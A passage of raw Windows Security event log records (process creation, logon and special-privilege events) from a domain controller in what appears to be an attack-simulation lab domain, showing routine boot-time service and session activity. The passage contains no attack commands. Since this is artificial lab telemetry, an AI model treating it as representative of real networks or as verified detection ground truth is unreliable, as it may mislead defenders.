	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x478
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248211
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x884
	New Process Name:	C:\Windows\System32\RemoteFXvGPUDisablement.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\System32\RemoteFXvGPUDisablement.exe Disable

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5033
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Other System Events
OpCode=Info
RecordNumber=248210
Keywords=Audit Success
Message=The Windows Firewall Driver started successfully.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248209
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	New Process ID:		0x6b8
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248208
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	New Process ID:		0x630
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248207
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xAC45

Process Information:
	New Process ID:		0x57c
	New Process Name:	C:\Windows\System32\dwm.exe
	Token Elevation Type:	%%1938
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x320
	Creator Process Name:	C:\Windows\System32\winlogon.exe
	Process Command Line:	"dwm.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248206
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xAC14

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248205
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		2
	Restricted Admin Mode:	-
	Virtual Account:		Yes
	Elevated Token:		No

Impersonation Level:		Impersonation

New Logon:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xAC45
	Linked Logon ID:		0xAC14
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x320
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248204
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		2
	Restricted Admin Mode:	-
	Virtual Account:		Yes
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xAC14
	Linked Logon ID:		0xAC45
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x320
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248203
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x320
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248202
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x534
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k NetworkService

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248201
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x510
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248200
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248199
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248198
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	New Process ID:		0x4e0
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248197
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	New Process ID:		0x4b8
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k LocalService

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248196
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248195
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248194
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x478
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k netsvcs

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248193
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x470
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k termsvcs

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248192
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248191
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248190
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x444
	New Process Name:	C:\Windows\System32\LogonUI.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x320
	Creator Process Name:	C:\Windows\System32\winlogon.exe
	Process Command Line:	"LogonUI.exe" /flags:0x2 /state0:0xa3b84855 /state1:0x41c64e6d

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248223
Keywords=Audit Success
